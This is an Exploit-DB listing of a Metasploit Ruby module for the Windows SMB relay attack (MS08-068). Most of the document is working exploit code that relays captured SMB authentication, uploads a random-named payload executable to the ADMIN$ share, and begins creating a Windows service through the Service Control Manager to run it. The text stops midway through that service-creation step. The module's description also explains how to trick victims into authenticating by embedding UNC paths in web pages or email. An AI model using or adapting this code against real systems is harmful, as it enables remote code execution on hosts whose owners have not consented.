Exploit-DB #16360
Description: Microsoft Windows - SMB Relay Code Execution (MS08-068) (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-21
Author: Metasploit

Exploit:
##
# $Id: smb_relay.rb 10404 2010-09-21 00:13:30Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


=begin
Windows XP systems that are not part of a domain default to treating all
network logons as if they were Guest. This prevents SMB relay attacks from
gaining administrative access to these systems. This setting can be found
under:

	Local Security Settings >
	 Local Policies >
	  Security Options >
	   Network Access: Sharing and security model for local accounts
=end

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::SMBServer
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Windows SMB Relay Code Execution',
			'Description'    => %q{
					This module will relay SMB authentication requests to another
				host, gaining access to an authenticated SMB session if successful.
				If the connecting user is an administrator and network logins are
				allowed to the target machine, this module will execute an arbitrary
				payload. To exploit this, the target system	must try to	authenticate
				to this module. The easiest way to force a SMB authentication attempt
				is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or
				email message. When the victim views the web page or email, their
				system will automatically connect to the server specified in the UNC
				share (the IP address of the system running this module) and attempt
				to authenticate.  Unfortunately, this
				module is not able to clean up after itself. The service and payload
				file listed in the output will need to be manually removed after access
				has been gained. The service created by this tool uses a randomly chosen
				name and description, so the services list can become cluttered after
				repeated exploitation.

				The SMB authentication relay attack was first reported by Sir Dystic on
				March 31st, 2001 at @lanta.con in Atlanta, Georgia.

				On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin
				includes a patch which prevents the relaying of challenge keys back to
				the host which issued them, preventing this exploit from working in
				the default configuration. It is still possible to set the SMBHOST
				parameter to a third-party host that the victim is authorized to access,
				but the "reflection" attack has been effectively broken.
			},
			'Author'         =>
				[
					'hdm'
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10404 $',
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread'
				},
			'Payload'        =>
				{
					'Space'        => 2048,
					'DisableNops'  => true,
					'StackAdjustment' => -3500,
				},
			'References'     =>
				[
					[ 'CVE', '2008-4037'],
					[ 'OSVDB', '49736'],
					[ 'MSB', 'MS08-068'],
					[ 'URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],
					[ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ],
					[ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ],
					[ 'URL', 'http://www.xfocus.net/articles/200305/smbrelay.html' ]
				],
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DisclosureDate' => 'Mar 31 2001',
			'DefaultTarget'  => 0 ))

		register_options(
			[
				OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"])
			], self.class )
	end


	if (not const_defined?('NDR'))
		NDR = Rex::Encoder::NDR
	end

	def smb_haxor(c)
		smb = @state[c]
		rclient = smb[:rclient]

		if (@pwned[smb[:rhost]])
			print_status("Ignoring request from #{smb[:rhost]}, attack already in progress.")
			return
		end

		if (not rclient.client.auth_user)
			print_line(" ")
			print_error(
				"FAILED! The remote host has only provided us with Guest privileges. " +
				"Please make sure that the correct username and password have been provided. " +
				"Windows XP systems that are not part of a domain will only provide Guest privileges " +
				"to network logins by default."
			)
			print_line(" ")
			return
		end

		print_status("Connecting to the ADMIN$ share...")
		rclient.connect("ADMIN$")

		@pwned[smb[:rhost]] = true

		print_status("Regenerating the payload...")
		code = regenerate_payload(smb[:rsock])

		# Upload the shellcode to a file
		print_status("Uploading payload...")

		filename = rand_text_alpha(8) + ".exe"
		servicename = rand_text_alpha(8)

		fd = rclient.open("\\#{filename}", 'rwct')

		exe = ''
		opts = {
			:servicename => servicename,
			:code => code.encoded
		}
		if (datastore['PAYLOAD'].include? 'x64')
			opts.merge!({ :arch => ARCH_X64 })
		end
		exe = generate_payload_exe_service(opts)

		fd << exe
		fd.close

		print_status("Created \\#{filename}...")

		# Disconnect from the ADMIN$
		rclient.disconnect("ADMIN$")

		print_status("Connecting to the Service Control Manager...")
		rclient.connect("IPC$")

		dcerpc = smb_dcerpc(c, '367abb81-9844-35f1-ad32-98f038001003', '2.0', "\\svcctl")

		##
		# OpenSCManagerW()
		##

		print_status("Obtaining a service manager handle...")
		scm_handle = nil
		stubdata =
			NDR.uwstring("\\\\#{smb[:rhost]}") +
			NDR.long(0) +
			NDR.long(0xF003F)
		begin
			response = dcerpc.call(0x0f, stubdata)
			if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
				scm_handle = dcerpc.last_response.stub_data[0,20]
			end
		rescue ::Exception => e
			print_error("Error: #{e}")
			return
		end

		##
		# CreateServiceW